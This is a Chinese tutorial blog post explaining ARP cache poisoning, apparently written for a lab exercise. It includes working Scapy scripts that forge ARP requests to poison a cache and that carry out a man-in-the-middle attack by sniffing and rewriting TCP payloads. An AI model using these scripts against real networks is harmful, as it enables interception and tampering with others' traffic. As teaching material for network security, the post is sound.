zoukankan      html  css  js  c++  java
  • MAC与ARP缓存中毒介绍

    ARP 协议

    用于地址解析,请求MAC地址。

    image-20210106134003380

    arp -a 或者 -n 查看ARP缓存表

    image-20210105213737828

    ls(ARP) 查看scapy里的协议字段

    image-20210106141909538

    ARP缓存中毒原理

    ARP收到ARP请求报文,会将发送方的mac地址写入到自己的ARP缓存表。 --伪造ARP请求报文

    ARP无状态,无法判断响应是不是请求的结果,即使没有请求,也可以收到响应。

    即使不是对这个请求的响应,也会更新自己的cache。 --伪造ARP响应报文

    from scapy.all import *
    
    DS_MAC='FF:FF:FF:FF:FF:FF'
    DS_IP ='10.0.2.5'
    
    VIM_MAC='aa:bb:cc:dd:ee:ff'
    VIM_IP='10.0.2.99'
    
    e=Ether()
    e.dst=DS_MAC
    e.src=VIM_MAC
    
    a=ARP()
    a.op=1
    a.hwsrc=VIM_MAC
    a.psrc=VIM_IP
    a.hwdst=DS_MAC
    a.pdst=DS_IP
    
    frame=e/a
    sendp(frame)
    
    
    

    op为1表示请求包,响应包为2

    ARP 缓存中毒 实现中间人攻击

    image-20210106123324473

    注意:需要 sudo sysctl net.ipv4.ip_forward=0

    先进行ARP缓存的中毒,这样二者通信的数据包可通过攻击者,然后攻击者再进行修改TCP报文。

    from scapy.all import *
    
    def spoof_pkt(pkt):
            if pkt[IP].src=='10.0.2.4' and pkt[IP].dst =='10.0.2.5' and pkt[TCP].payload:
                data = pkt[TCP].payload.load
    
                newpkt = pkt[IP]
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                del(newpkt[TCP].payload)
    
                newdata = data.replace(b'hello',b'hacker')
                newpkt = newpkt/newdata
                send(newpkt,verbose=0)
                
           elif pkt[IP].src=='10.0.2.5' and pkt[IP].dst == '10.0.2.4':
                newpkt=pkt[IP]
                send(newpkt,verbose=0)
                
                
    pkt = sniff(filter='tcp',prn=spoof_pkt)
    
    

    本文来自博客园,作者:PsgQ,转载请注明原文链接:https://www.cnblogs.com/PsgQ/p/14252347.html

    喜欢作者瓜皮的小伙伴,点点关注,投喂瓜皮,你的支持是我一直创作的动力

  • 相关阅读:
    POJ2142:The Balance——题解
    POJ1061:青蛙的约会——题解
    接口测试结束后的小结
    接口测试结束后的小结
    如何进行需求测试/需求评审
    如何进行需求测试/需求评审
    测试人员掌握代码的重要性
    测试人员掌握代码的重要性
    测试人员掌握代码的重要性
    软件自动化测试开发-开班啦
  • 原文地址:https://www.cnblogs.com/PsgQ/p/14252347.html
Copyright © 2011-2022 走看看